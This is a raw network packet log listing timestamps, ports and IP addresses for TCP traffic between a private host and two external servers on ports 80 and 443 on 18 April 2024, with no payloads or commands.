Apr 18, 2024 23:40:21.927810907 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.927823067 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.927850962 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.927880049 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.927889109 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.927898884 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.927928925 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.927967072 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.927997112 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.928004026 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.928014994 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.928044081 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.928081036 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.928114891 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.928143024 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.928180933 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.928189993 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.928206921 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.928221941 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.928226948 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.928266048 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.928291082 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.928308010 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.928345919 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.928356886 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.928385019 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.928421974 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.928433895 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.928461075 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.928498983 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.928512096 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.928538084 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.928574085 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.928582907 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.928617954 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.928628922 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.928656101 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.928704977 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.989535093 CEST	49788	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.989784002 CEST	49795	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.026685953 CEST	443	49763	64.233.176.103	192.168.2.4
Apr 18, 2024 23:40:22.026735067 CEST	443	49763	64.233.176.103	192.168.2.4
Apr 18, 2024 23:40:22.026767015 CEST	443	49763	64.233.176.103	192.168.2.4
Apr 18, 2024 23:40:22.026788950 CEST	49763	443	192.168.2.4	64.233.176.103
Apr 18, 2024 23:40:22.026807070 CEST	443	49763	64.233.176.103	192.168.2.4
Apr 18, 2024 23:40:22.026823997 CEST	443	49763	64.233.176.103	192.168.2.4
Apr 18, 2024 23:40:22.026865959 CEST	49763	443	192.168.2.4	64.233.176.103
Apr 18, 2024 23:40:22.026897907 CEST	443	49763	64.233.176.103	192.168.2.4
Apr 18, 2024 23:40:22.026963949 CEST	49763	443	192.168.2.4	64.233.176.103
Apr 18, 2024 23:40:22.028616905 CEST	49763	443	192.168.2.4	64.233.176.103
Apr 18, 2024 23:40:22.028667927 CEST	443	49763	64.233.176.103	192.168.2.4
Apr 18, 2024 23:40:22.028821945 CEST	443	49763	64.233.176.103	192.168.2.4
Apr 18, 2024 23:40:22.028826952 CEST	49763	443	192.168.2.4	64.233.176.103
Apr 18, 2024 23:40:22.028867006 CEST	49763	443	192.168.2.4	64.233.176.103
Apr 18, 2024 23:40:22.166102886 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.166193008 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.174397945 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.174439907 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.174474955 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.174479008 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.174508095 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.174519062 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.174532890 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.174556017 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.174576044 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.174592972 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.174614906 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.174631119 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.174639940 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.174666882 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.174684048 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.174707890 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.174722910 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.174746990 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.174756050 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.174783945 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.174796104 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.174822092 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.174875021 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.174880028 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.174917936 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.174928904 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.174954891 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.174968958 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.174992085 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.174998045 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.175029993 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.175040960 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.175067902 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.175076008 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.175106049 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.175117016 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.175144911 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.175158024 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.175183058 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.175220013 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.175220966 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.175240993 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.175259113 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.175295115 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.175323963 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.175332069 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.175342083 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.175369978 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.175381899 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.175409079 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.175421953 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.175446987 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.175458908 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.175484896 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.175497055 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.175520897 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.175537109 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.175559044 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.175595045 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.175621986 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.175631046 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.175638914 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.175669909 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.175693035 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.175709963 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.175718069 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.175749063 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.175760031 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.175786972 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.175795078 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.175825119 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.175834894 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.175863028 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.175877094 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.175901890 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.175939083 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.175957918 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.175981045 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.175996065 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.176018000 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.176029921 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.176055908 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.176067114 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.176094055 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.176116943 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.176146030 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.176150084 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.176193953 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.176208019 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.176232100 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.176255941 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.176270008 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.176275969 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.176306963 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.176325083 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.176347017 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.176367998 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.176383972 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.176397085 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.176422119 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.176435947 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.176460028 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.176470041 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.176497936 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.176507950 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.176536083 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.176546097 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.176573992 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.176589012 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.176611900 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.176625013 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.176649094 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.176671982 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.176686049 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.176693916 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.176723003 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.176758051 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.176760912 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.176778078 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.176800013 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.176836967 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.176856995 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.176873922 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.176887989 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.176911116 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.176928997 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.176949024 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.176956892 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.176986933 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.176996946 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.177026987 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.177066088 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.177083969 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.177117109 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.177123070 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.177171946 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.177180052 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.177212954 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.177248955 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.177269936 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.177285910 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.177292109 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.177323103 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.177341938 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.177361012 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.177371025 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.177398920 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.177409887 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.177436113 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.177447081 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.177474022 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.177484035 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.177510977 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.177520990 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.177548885 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.177557945 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.177586079 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.177599907 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.177624941 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.177634001 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.177660942 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.177700043 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.177717924 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.177736044 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.177751064 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.177773952 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.177787066 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.177813053 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.177829027 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.177851915 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.177862883 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.177890062 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.177898884 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.177927971 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.177936077 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.177967072 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.177978039 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.178004026 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.178023100 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.178042889 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.178050995 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.178080082 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.178091049 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.178117037 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.178123951 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.178155899 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.178164959 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.178195000 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.178209066 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.178235054 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.178241968 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.178272009 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.178287983 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.178309917 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.178347111 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.178371906 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.178371906 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.178391933 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.178407907 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.178430080 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.178440094 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.178467035 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.178503990 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.178519011 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.178541899 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.178563118 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.178579092 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.178591967 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.178617001 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.178628922 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.178653955 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.178673029 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.178692102 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.178709984 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.178730011 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.178740025 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.178782940 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.232060909 CEST	80	49795	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.232157946 CEST	49795	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.232431889 CEST	49795	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.235718966 CEST	80	49788	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.235812902 CEST	49788	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.411940098 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.412348032 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.424401045 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.424798965 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.425416946 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.425457001 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.425483942 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.425497055 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.425504923 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.425535917 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.425548077 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.425575018 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.425612926 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.425621033 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.425621033 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.425651073 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.425671101 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.425689936 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.425702095 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.425728083 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.425738096 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.425766945 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.425774097 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.425805092 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.425843000 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.425863028 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.425880909 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.425903082 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.425920010 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.425956964 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.425967932 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.425995111 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.426009893 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.426033020 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.426044941 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.426079035 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.426119089 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.426131010 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.426156044 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.426167965 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.426194906 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.426201105 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.426234961 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.426245928 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.426274061 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.426285028 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.426311970 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.426321983 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.426352024 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.426362038 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.426389933 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.426399946 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.426428080 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.426439047 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.426467896 CEST	80	49768	193.233.132.167	192.168.2.4
